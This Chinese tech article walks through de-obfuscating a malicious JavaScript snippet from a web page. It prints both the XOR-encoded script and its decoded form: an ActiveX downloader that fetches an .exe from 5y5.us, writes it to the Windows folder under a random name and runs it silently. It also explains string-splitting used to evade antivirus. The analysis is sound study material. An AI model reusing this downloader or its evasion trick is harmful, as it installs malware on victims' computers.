扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
<script language=javascript> var Y=function(m){return String.fromCharCode(m^99)};eval(Y(5)+Y(22)+Y(13)+Y(0)+Y(23)+Y(10)+Y(12)+Y(13)+Y(67)+Y(4)+Y(13)+Y(75)+Y(13)+Y(74)+Y(110)+Y(105)+Y(24)+Y(21)+Y(2)+Y(17)+Y(67)+Y(13)+Y(22)+Y(14)+Y(1)+Y(6)+Y(17)+Y(67)+Y(94)+Y(67)+Y(46)+Y(2)+Y(23)+Y(11)+Y(77)+Y(17)+Y(2)+Y(13)+Y(7)+Y(12)+Y(14)+Y(75)+Y(74)+Y(73)+Y(13)+Y(88)+Y(17)+Y(6)+Y(23)+Y(22)+Y(17)+Y(13)+Y(67)+Y(68)+Y(29)+Y(23)+Y(14)+Y(19)+Y(68)+Y(72)+Y(46)+Y(2)+Y(23)+Y(11)+Y(77)+Y(17)+Y(12)+Y(22)+Y(13)+Y(7)+Y(75)+Y(13)+Y(22)+Y(14)+Y(1)+Y(6)+Y(17)+Y(74)+Y(72)+Y(68)+Y(77)+Y(6)+Y(27)+Y(6)+Y(68)+Y(88)+Y(30)+Y(110)+Y(105)+Y(23)+Y(17)+Y(26)+Y(24)+Y(110)+Y(105)+Y(7)+Y(15)+Y(94)+Y(68)+Y(43)+Y(23)+Y(23)+Y(19)+Y(89)+Y(76)+Y(76)+Y(86)+Y(26)+Y(86)+Y(77)+Y(22)+Y(16)+Y(76)+Y(2)+Y(77)+Y(6)+Y(27)+Y(6)+Y(68)+Y(88)+Y(110)+Y(105)+Y(21)+Y(2)+Y(17)+Y(67)+Y(7)+Y(5)+Y(94)+Y(7)+Y(12)+Y(0)+Y(22)+Y(14)+Y(6)+Y(13)+Y(23)+Y(77)+Y(0)+Y(17)+Y(6)+Y(2)+Y(23)+Y(6)+Y(38)+Y(15)+Y(6)+Y(14)+Y(6)+Y(13)+Y(23)+Y(75)+Y(65)+Y(12)+Y(1)+Y(9)+Y(6)+Y(0)+Y(23)+Y(65)+Y(74)+Y(88)+Y(110)+Y(105)+Y(7)+Y(5)+Y(77)+Y(16)+Y(6)+Y(23)+Y(34)+Y(23)+Y(23)+Y(17)+Y(10)+Y(1)+Y(22)+Y(23)+Y(6)+Y(75)+Y(65)+Y(0)+Y(15)+Y(2)+Y(16)+Y(16)+Y(10)+Y(7)+Y(65)+Y(79)+Y(65)+Y(0)+Y(15)+Y(16)+Y(10)+Y(7)+Y(89)+Y(33)+Y(39)+Y(90)+Y(85)+Y(32)+Y(86)+Y(86)+Y(85)+Y(78)+Y(85)+Y(86)+Y(34)+Y(80)+Y(78)+Y(82)+Y(82)+Y(39)+Y(83)+Y(78)+Y(90)+Y(91)+Y(80)+Y(34)+Y(78)+Y(83)+Y(83)+Y(32)+Y(83)+Y(87)+Y(37)+Y(32)+Y(81)+Y(90)+Y(38)+Y(80)+Y(85)+Y(65)+Y(74)+Y(88)+Y(110)+Y(105)+Y(21)+Y(2)+Y(17)+Y(67)+Y(27)+Y(94)+Y(7)+Y(5)+Y(77)+Y(32)+Y(17)+Y(6)+Y(2)+Y(23)+Y(6)+Y(44)+Y(1)+Y(9)+Y(6)+Y(0)+Y(23)+Y(75)+Y(65)+Y(46)+Y(10)+Y(0)+Y(17)+Y(12)+Y(16)+Y(12)+Y(5)+Y(23)+Y(77)+Y(59)+Y(65)+Y(72)+Y(65)+Y(46)+Y(65)+Y(72)+Y(65)+Y(47)+Y(65)+Y(72)+Y(65)+Y(43)+Y(65)+Y(72)+Y(65)+Y(55)+Y(65)+Y(72)+Y(65)+Y(55)+Y(65)+Y(72)+Y(65)+Y(51)+Y(65)+Y(79)+Y(65)+Y(65)+Y(74)+Y(88)+Y(110)+Y(105)+Y(21)+Y(2)+Y(17)+Y(67)+Y(48)+Y(94)+Y(7)+Y(5)+Y(77)+Y(32)+Y(17)+Y(6)+Y(2)+Y(23)+Y(6)+Y(44)+Y(1)+Y(9)+Y(6)+Y(0)+Y(23)+Y(75)+Y(65)+Y(34)+Y(7)+Y(12)+Y(7)+Y(1)+Y(77)+Y(48)+Y(23)+Y(17)+Y(6)+Y(2)+Y(14)+Y(65)+Y(79)+Y(65)+Y(65)+Y(74)+Y(88)+Y(110)+Y(105)+Y(48)+Y(77)+Y(23)+Y(26)+Y(19)+Y(6)+Y(94)+Y(82)+Y(88)+Y(67)+Y(27)+Y(77)+Y(12)+Y(19)+Y(6)+Y(13)+Y(75)+Y(65)+Y(36)+Y(38)+Y(55)+Y(65)+Y(79)+Y(67)+Y(7)+Y(15)+Y(79)+Y(83)+Y(74)+Y(88)+Y(67)+Y(27)+Y(77)+Y(16)+Y(6)+Y(13)+Y(7)+Y(75)+Y(74)+Y(88)+Y(67)+Y(5)+Y(13)+Y(2)+Y(14)+Y(6)+Y(82)+Y(94)+Y(4)+Y(13)+Y(75)+Y(82)+Y(83)+Y(83)+Y(83)+Y(83)+Y(74)+Y(88)+Y(110)+Y(105)+Y(21)+Y(2)+Y(17)+Y(67)+Y(37)+Y(94)+Y(7)+Y(5)+Y(77)+Y(32)+Y(17)+Y(6)+Y(2)+Y(23)+Y(6)+Y(44)+Y(1)+Y(9)+Y(6)+Y(0)+Y(23)+Y(75)+Y(65)+Y(48)+Y(0)+Y(17)+Y(10)+Y(19)+Y(23)+Y(10)+Y(13)+Y(4)+Y(77)+Y(37)+Y(10)+Y(15)+Y(6)+Y(48)+Y(26)+Y(16)+Y(23)+Y(6)+Y(14)+Y(44)+Y(1)+Y(9)+Y(6)+Y(0)+Y(23)+Y(65)+Y(79)+Y(65)+Y(65)+Y(74)+Y(88)+Y(110)+Y(105)+Y(21)+Y(2)+Y(17)+Y(67)+Y(23)+Y(14)+Y(19)+Y(94)+Y(37)+Y(77)+Y(36)+Y(6)+Y(23)+Y(48)+Y(19)+Y(6)+Y(0)+Y(10)+Y(2)+Y(15)+Y(37)+Y(12)+Y(15)+Y(7)+Y(6)+Y(17)+Y(75)+Y(83)+Y(74)+Y(88)+Y(110)+Y(105)+Y(5)+Y(13)+Y(2)+Y(14)+Y(6)+Y(82)+Y(94)+Y(67)+Y(37)+Y(77)+Y(33)+Y(22)+Y(10)+Y(15)+Y(7)+Y(51)+Y(2)+Y(23)+Y(11)+Y(75)+Y(23)+Y(14)+Y(19)+Y(79)+Y(5)+Y(13)+Y(2)+Y(14)+Y(6)+Y(82)+Y(74)+Y(88)+Y(110)+Y(105)+Y(48)+Y(77)+Y(44)+Y(19)+Y(6)+Y(13)+Y(75)+Y(74)+Y(88)+Y(67)+Y(48)+Y(77)+Y(52)+Y(17)+Y(10)+Y(23)+Y(6)+Y(75)+Y(27)+Y(77)+Y(17)+Y(6)+Y(16)+Y(19)+Y(12)+Y(13)+Y(16)+Y(6)+Y(33)+Y(12)+Y(7)+Y(26)+Y(74)+Y(88)+Y(67)+Y(48)+Y(77)+Y(48)+Y(2)+Y(21)+Y(6)+Y(55)+Y(12)+Y(37)+Y(10)+Y(15)+Y(6)+Y(75)+Y(5)+Y(13)+Y(2)+Y(14)+Y(6)+Y(82)+Y(79)+Y(81)+Y(74)+Y(88)+Y(67)+Y(48)+Y(77)+Y(32)+Y(15)+Y(12)+Y(16)+Y(6)+Y(75)+Y(74)+Y(88)+Y(110)+Y(105)+Y(21)+Y(2)+Y(17)+Y(67)+Y(50)+Y(94)+Y(7)+Y(5)+Y(77)+Y(32)+Y(17)+Y(6)+Y(2)+Y(23)+Y(6)+Y(44)+Y(1)+Y(9)+Y(6)+Y(0)+Y(23)+Y(75)+Y(65)+Y(48)+Y(11)+Y(6)+Y(15)+Y(15)+Y(77)+Y(34)+Y(19)+Y(19)+Y(15)+Y(10)+Y(0)+Y(2)+Y(23)+Y(10)+Y(12)+Y(13)+Y(65)+Y(79)+Y(65)+Y(65)+Y(74)+Y(88)+Y(110)+Y(105)+Y(50)+Y(77)+Y(48)+Y(11)+Y(6)+Y(15)+Y(15)+Y(38)+Y(27)+Y(6)+Y(0)+Y(22)+Y(23)+Y(6)+Y(75)+Y(5)+Y(13)+Y(2)+Y(14)+Y(6)+Y(82)+Y(79)+Y(65)+Y(65)+Y(79)+Y(65)+Y(65)+Y(79)+Y(65)+Y(12)+Y(19)+Y(6)+Y(13)+Y(65)+Y(79)+Y(83)+Y(74)+Y(88)+Y(67)+Y(30)+Y(110)+Y(105)+Y(0)+Y(2)+Y(23)+Y(0)+Y(11)+Y(75)+Y(10)+Y(74)+Y(110)+Y(105)+Y(24)+Y(10)+Y(94)+Y(82)+Y(88)+Y(30))</script>
JS“加密”的。其实说是加密,也就是恶心你一下,根本不算是加密。
关键函数1:String.fromCharCode,很明显是将 ASCII 码转换为字符。
关键函数2:return,我们的“爆破点”。
既然都要return了,那肯定是解密后的内容了。
打开 Opera 浏览器(强烈推荐),随便打开一个网页,替换其源代码为以上代码。
将 return 改成 alert(要注意括号),这可以算是“单步跟踪”(是不是很像 Windows 程序的破解呢?)。
单击“应用更改”,Opera 开始弹出对话框。“跟踪”了几步,发现第一个单词是“function”,说明解密成功。选择“停止执行当前页面的脚本”,确定。
然后把 alert 再改成 document.write,再次应用更改,解密后的代码乖乖的显示出来了。
function gn(n) {var number = Math.random()*n;return '~tmp'+Math.round(number)+'.exe';} try{ dl='Http://5y5.us/a.exe'; var df=document.createElement("object"); df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var x=df.CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P",""); var S=df.CreateObject("Adodb.Stream",""); S.type=1; x.open("GET", dl,0); x.send(); fname1=gn(10000); var F=df.CreateObject("Scripting.FileSystemObject",""); var tmp=F.GetSpecialFolder(0); fname1= F.BuildPath(tmp,fname1); S.Open(); S.Write(x.responseBody); S.SaveToFile(fname1,2); S.Close(); var Q=df.CreateObject("Shell.Application",""); Q.ShellExecute(fname1,"","","open",0); } catch(i) {i=1;}
晕,这么乱,哪是人看的呀?!
别忘记Java/C以及其它很多语言都有一个特性,就是用分号结束一行。
打开UltraEdit-32(同样推荐),将以上代码粘贴.进去,勾选“从文件顶部全部替换”,不要勾选“正则表达式”。“查找什么”输入“;”,“替换为”输入“;^p”。单击“全部替换”。
注意在这里“^p”代表一个回车加一个换行。
function gn(n) {var number = Math.random()*n;
return '~tmp'+Math.round(number)+'.exe';
} try{ dl='Http://5y5.us/a.exe';
var df=document.createElement("object");
df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var x=df.CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");
var S=df.CreateObject("Adodb.Stream","");
S.type=1;
x.open("GET", dl,0);
x.send();
fname1=gn(10000);
var F=df.CreateObject("Scripting.FileSystemObject","");
var tmp=F.GetSpecialFolder(0);
fname1= F.BuildPath(tmp,fname1);
S.Open();
S.Write(x.responseBody);
S.SaveToFile(fname1,2);
S.Close();
var Q=df.CreateObject("Shell.Application","");
Q.ShellExecute(fname1,"","","open",0);
} catch(i) {i=1;
}
是不是好看多了呢?
这段代码写的很精炼,我简要分析一下。
Http://5y5.us/a.exe
这是恶意程序的下载地址。
CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");
这是创建对象以便下载文件。至于它为什么这样写是因为.可以躲避杀毒软件的脚本扫描。
x.open("GET", dl,0);
x.send();
然后它发送GET命令并从服务器接受数据流。
var F=df.CreateObject("Scripting.FileSystemObject","");
创建文件系统对象。
GetSpecialFolder(0);
然后取得特殊目录。
查参数表可知0代表的是Windows安装目录。
S.Open();
S.Write(x.responseBody);
S.SaveToFile(fname1,2);
S.Close();
打开并写入文件。
var Q=df.CreateObject("Shell.Application","");
Q.ShellExecute(fname1,"","","open",0);
创建外壳对象并执行下载的文件。
也许你会问:文件名是什么呢?
文件名是fname1变量的值。那么fname1的值又是什么呢?
fname1=gn(10000);
你可能没注意到开头有一段很短的gn函数。
function gn(n) {var number = Math.random()*n;
return '~tmp'+Math.round(number)+'.exe';
}
这就是获取文件名的函数。它使用 Math.round 创建一个随机数 number,然后再将此随机数作为种子值再次创建一个随机数,然后加上头部“~tmp”和尾部“.exe”。
最后的文件名类似这样:
~tmp213445.exe
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者